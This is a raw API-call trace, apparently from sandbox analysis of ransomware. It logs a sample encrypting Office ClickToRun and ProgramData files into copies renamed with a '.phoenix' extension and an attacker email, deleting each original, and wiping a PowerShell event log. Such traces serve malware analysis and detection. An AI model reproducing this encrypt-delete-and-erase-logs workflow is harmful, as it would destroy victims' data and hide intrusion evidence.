	[0227.281] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0227.281] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0227.281] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0227.281] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0227.281] CloseHandle (hObject=0x2e4) returned 1
	[0227.281] CloseHandle (hObject=0x2c0) returned 1
	[0227.284] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1
	[0227.285] SetEvent (hEvent=0x278) returned 1
	[0227.285] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.285] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0227.286] SetEvent (hEvent=0x278) returned 1
	[0227.286] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.286] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.330] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4968) returned 1
	[0227.330] CloseHandle (hObject=0x2c4) returned 1
	[0227.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1")) returned 0x20
	[0227.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\officeintegrator.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0227.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.347] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=102) returned 1
	[0227.347] CloseHandle (hObject=0x2c0) returned 1
	[0227.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash")) returned 0x20
	[0227.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.347] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.347] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0227.347] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.347] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x66, lpOverlapped=0x0) returned 1
	[0227.348] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0227.348] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x70, lpOverlapped=0x0) returned 1
	[0227.349] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0227.349] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.349] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0227.349] CryptDestroyKey (hKey=0x151500) returned 1
	[0227.349] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0227.349] CryptDestroyKey (hKey=0x151700) returned 1
	[0227.349] CloseHandle (hObject=0x2c0) returned 1
	[0227.349] CloseHandle (hObject=0x2e4) returned 1
	[0227.350] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash")) returned 1
	[0227.351] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.352] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=102) returned 1
	[0227.352] CloseHandle (hObject=0x2e4) returned 1
	[0227.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash")) returned 0x20
	[0227.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.352] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.352] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.353] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0227.353] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.353] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x66, lpOverlapped=0x0) returned 1
	[0227.354] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0227.354] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x70, lpOverlapped=0x0) returned 1
	[0227.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0227.355] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.355] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0227.355] CryptDestroyKey (hKey=0x151500) returned 1
	[0227.355] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0227.355] CryptDestroyKey (hKey=0x151400) returned 1
	[0227.355] CloseHandle (hObject=0x2e4) returned 1
	[0227.355] CloseHandle (hObject=0x2c0) returned 1
	[0227.356] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash")) returned 1
	[0227.357] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0227.370] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=128) returned 1
	[0227.370] CloseHandle (hObject=0x2f4) returned 1
	[0227.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash")) returned 0x20
	[0227.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0227.371] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.371] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.371] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0227.371] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.371] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x80, lpOverlapped=0x0) returned 1
	[0227.372] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0227.372] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x90, lpOverlapped=0x0) returned 1
	[0227.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0227.373] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.373] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0227.373] CryptDestroyKey (hKey=0x151580) returned 1
	[0227.373] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0227.373] CryptDestroyKey (hKey=0x151640) returned 1
	[0227.373] CloseHandle (hObject=0x2f4) returned 1
	[0227.373] CloseHandle (hObject=0x2d8) returned 1
	[0227.374] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash")) returned 1
	[0227.375] SetEvent (hEvent=0x278) returned 1
	[0227.375] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0227.380] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=102) returned 1
	[0227.380] CloseHandle (hObject=0x2d4) returned 1
	[0227.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash")) returned 0x20
	[0227.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.380] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0227.380] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.380] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.381] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0227.381] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.381] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x66, lpOverlapped=0x0) returned 1
	[0227.382] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0227.382] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x70, lpOverlapped=0x0) returned 1
	[0227.384] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0227.384] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.384] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0227.384] CryptDestroyKey (hKey=0x151640) returned 1
	[0227.384] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0227.384] CryptDestroyKey (hKey=0x151400) returned 1
	[0227.384] CloseHandle (hObject=0x2d4) returned 1
	[0227.384] CloseHandle (hObject=0x2d8) returned 1
	[0227.385] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash")) returned 1
	[0227.386] SetEvent (hEvent=0x278) returned 1
	[0227.386] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.386] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.388] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=128) returned 1
	[0227.388] CloseHandle (hObject=0x2d8) returned 1
	[0227.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash")) returned 0x20
